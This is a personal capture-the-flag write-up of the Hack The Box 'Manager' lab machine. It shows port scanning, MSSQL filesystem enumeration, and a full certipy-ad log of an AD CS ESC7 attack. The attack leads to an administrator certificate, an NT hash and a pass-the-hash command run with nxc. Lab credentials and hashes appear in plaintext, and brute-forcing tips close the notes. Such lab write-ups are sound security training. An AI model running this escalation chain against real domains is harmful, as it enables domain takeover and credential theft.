HTB(W) - Manager

10.10.11.236

┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 10.10.11.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 21:04 EDT
Nmap scan report for 10.10.11.236
Host is up (0.047s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-09 08:06:35Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-09T08:08:09+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2024-07-09T07:54:00
|_Not valid after:  2025-07-09T07:54:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2024-07-09T07:54:00
|_Not valid after:  2025-07-09T07:54:00
|_ssl-date: 2024-07-09T08:08:09+00:00; +7h00m01s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-09T08:02:59
|_Not valid after:  2054-07-09T08:02:59
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2024-07-09T08:08:09+00:00; +7h00m01s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2024-07-09T07:54:00
|_Not valid after:  2025-07-09T07:54:00
|_ssl-date: 2024-07-09T08:08:09+00:00; +7h00m01s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-09T08:08:09+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2024-07-09T07:54:00
|_Not valid after:  2025-07-09T07:54:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
49726/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-09T08:07:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   46.08 ms 10.10.14.1
2   47.22 ms 10.10.11.236

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.84 seconds

user: Johndue

SQL (MANAGER\Operator  guest@master)> select name from master.dbo.sysdatabases;
name     
------   
master   

tempdb   

model    

msdb

We use xp_dirtree feature to take a look at the files on the webserver (inetpub). After that, we notice a backup.zip on the webserver and download it with wget. These contain credentials for a user that is able to login to the machine with evil-winrm

From here, whoami /all and some normal basic enumeration doesn't give us anything. [[Windows Enumeration and Privesc#always check ADCS Active Directory Certificate services]]

We should always check ADCS.

this was a great box and i will now be simply copy/pasting my work used for ESC7, errors and all

adcs esc7 with certipy

┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# Certify.exe 
Certify.exe: command not found
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'    
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: socket connection error while opening: timed out
[-] Use -debug to print a stacktrace
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: socket connection error while opening: timed out
[-] Use -debug to print a stacktrace
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'MANAGER.HTB' at '192.168.228.2'
[+] Resolved 'MANAGER.HTB' from cache: 143.244.220.150
[+] Authenticating to LDAP server
[+] Authenticating to LDAP server
[-] Got error: socket connection error while opening: timed out
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/certipy/lib/ldap.py", line 77, in connect
    self.connect(version=ssl.PROTOCOL_TLSv1_2)
  File "/usr/lib/python3/dist-packages/certipy/lib/ldap.py", line 136, in connect
    bind_result = ldap_conn.bind()
                  ^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/core/connection.py", line 589, in bind
    self.open(read_server_info=False)
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 57, in open
    BaseStrategy.open(self, reset_usage, read_server_info)
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/base.py", line 146, in open
    raise exception_history[0][0]
ldap3.core.exceptions.LDAPSocketOpenError: socket connection error while opening: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/certipy/entry.py", line 60, in main
    actions[options.action](options)
  File "/usr/lib/python3/dist-packages/certipy/commands/parsers/ca.py", line 12, in entry
    ca.entry(options)
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 1050, in entry
    ca.add_officer(options.add_officer)
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 820, in add_officer
    return self.add(
           ^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 659, in add
    connection = self.connection
                 ^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 271, in connection
    self._connection.connect()
  File "/usr/lib/python3/dist-packages/certipy/lib/ldap.py", line 83, in connect
    self.connect(version=ssl.PROTOCOL_TLSv1)
  File "/usr/lib/python3/dist-packages/certipy/lib/ldap.py", line 136, in connect
    bind_result = ldap_conn.bind()
                  ^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/ldap3/core/connection.py", line 589, in bind
    self.open(read_server_info=False)
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/sync.py", line 57, in open
    BaseStrategy.open(self, reset_usage, read_server_info)
  File "/usr/local/lib/python3.11/dist-packages/ldap3/strategy/base.py", line 146, in open
    raise exception_history[0][0]
ldap3.core.exceptions.LDAPSocketOpenError: socket connection error while opening: timed out
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout                    
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 14
Would you like to save the private key? (y/N) y
[*] Saved private key to 14.key
[-] Failed to request certificate
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# ls -al                                                                     
total 36
drwxr-xr-x  3 root root 4096 Jul 10 01:30 .
drwxr-xr-x 22 root root 4096 Jul  8 21:19 ..
-rw-r--r--  1 root root 1704 Jul 10 01:30 14.key
-rw-r--r--  1 root root 1825 Jul  8 21:41 2023-200_most_used_passwords.txt
-rw-r--r--  1 root root  683 Jul  9 21:57 2manager.hash
drwxr-xr-x  5 root root 4096 Jul 10 00:37 backup
-rw-r--r--  1 root root  690 Jul  9 21:55 manager.hash
-rw-r--r--  1 root root   47 Jul  8 21:38 potential-users.txt
-rw-r--r--  1 root root   41 Jul 10 00:42 raven.txt
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236                                
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got access denied trying to issue certificate
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'                    
Certipy v4.8.2 - by Oliver Lyak (ly4k)

^CTraceback (most recent call last):
  File "/usr/bin/certipy-ad", line 33, in <module>
    sys.exit(load_entry_point('certipy-ad==4.8.2', 'console_scripts', 'certipy-ad')())
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/entry.py", line 60, in main
    actions[options.action](options)
  File "/usr/lib/python3/dist-packages/certipy/commands/parsers/ca.py", line 12, in entry
    ca.entry(options)
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 1061, in entry
    ca.issue()
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 481, in issue
    resp = self.cert_admin.request(request)
           ^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/commands/ca.py", line 280, in cert_admin
    dcom = get_dcom_connection(self.target)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/certipy/lib/rpc.py", line 24, in get_dcom_connection
    dcom = DCOMConnection(
           ^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/dcomrt.py", line 983, in __init__
    self.initConnection()
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/dcomrt.py", line 1076, in initConnection
    self.__portmap.connect()
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 803, in connect
    return self._transport.connect()
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/transport.py", line 352, in connect
    self.__socket.connect(sa)
KeyboardInterrupt

                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got access denied trying to issue certificate
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout                    
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236                                                  
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout                
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -issue-request 15 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236                                                     
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -retrieve 15 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236    
Certipy v4.8.2 - by Oliver Lyak (ly4k)

usage: certipy-ad [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...
certipy-ad: error: unrecognized arguments: -retrieve 15
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad req -ca 'manager-DC01-CA' -retrieve 15 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip manager.htb                                                                           
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: nameserver manager.htb is not a dns.nameserver.Nameserver instance or text form, IP address, nor a valid https URL
[-] Use -debug to print a stacktrace
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# timedatectl set-ntp 0 
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# ntpdate 10.10.11.236                       
2024-07-10 08:38:46.923410 (-0400) +25201.493181 +/- 0.023355 10.10.11.236 s1 no-leap
CLOCK: time stepped by 25201.493181
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# echo 'aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef' > admin.hash
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# nxc smb manager.htb -H admin.hash -u administrator
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# nxc smb manager.htb -H admin.hash -u administrator -x type C:\Users\Administrator\Desktop\root.txt
usage: nxc [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--verbose] [--debug] [--no-progress] [--log LOG] [-6] [--dns-server DNS_SERVER] [--dns-tcp] [--dns-timeout DNS_TIMEOUT] [--version]
           {rdp,wmi,smb,mssql,ftp,ssh,ldap,winrm,vnc} ...
nxc: error: unrecognized arguments: C:UsersAdministratorDesktoproot.txt
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/manager]
└─# nxc smb manager.htb -H admin.hash -u administrator -x 'type C:\Users\Administrator\Desktop\root.txt'
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)
SMB         10.10.11.236    445    DC01             [+] Executed command via wmiexec
SMB         10.10.11.236    445    DC01             5c4a8475be05a561ff7f89136764f0a0

note that for some reason, the certipy program lied to me and told me that i had ManageCertificates permissions at some point, and removed itself. maybe this is just something that happens

tool idea: automate this process?

ie. using certipy-ad, create a script that will automate this exact procedure, by sequentially going through each of these escalation steps dc-ip, -ns, -u, -p, etc -

lessons

  1. you can rid-brute with nxc, try logging in with 'guest' ''
  2. always always always always try bruteforcing passwords using the username of the user as the password
  3. btw operator is not the same as Operator when it comes to passwords you fucking midwit
  4. you can use xp_dirtree to enumerate the filesystem once you have a sql client access [[mssql]]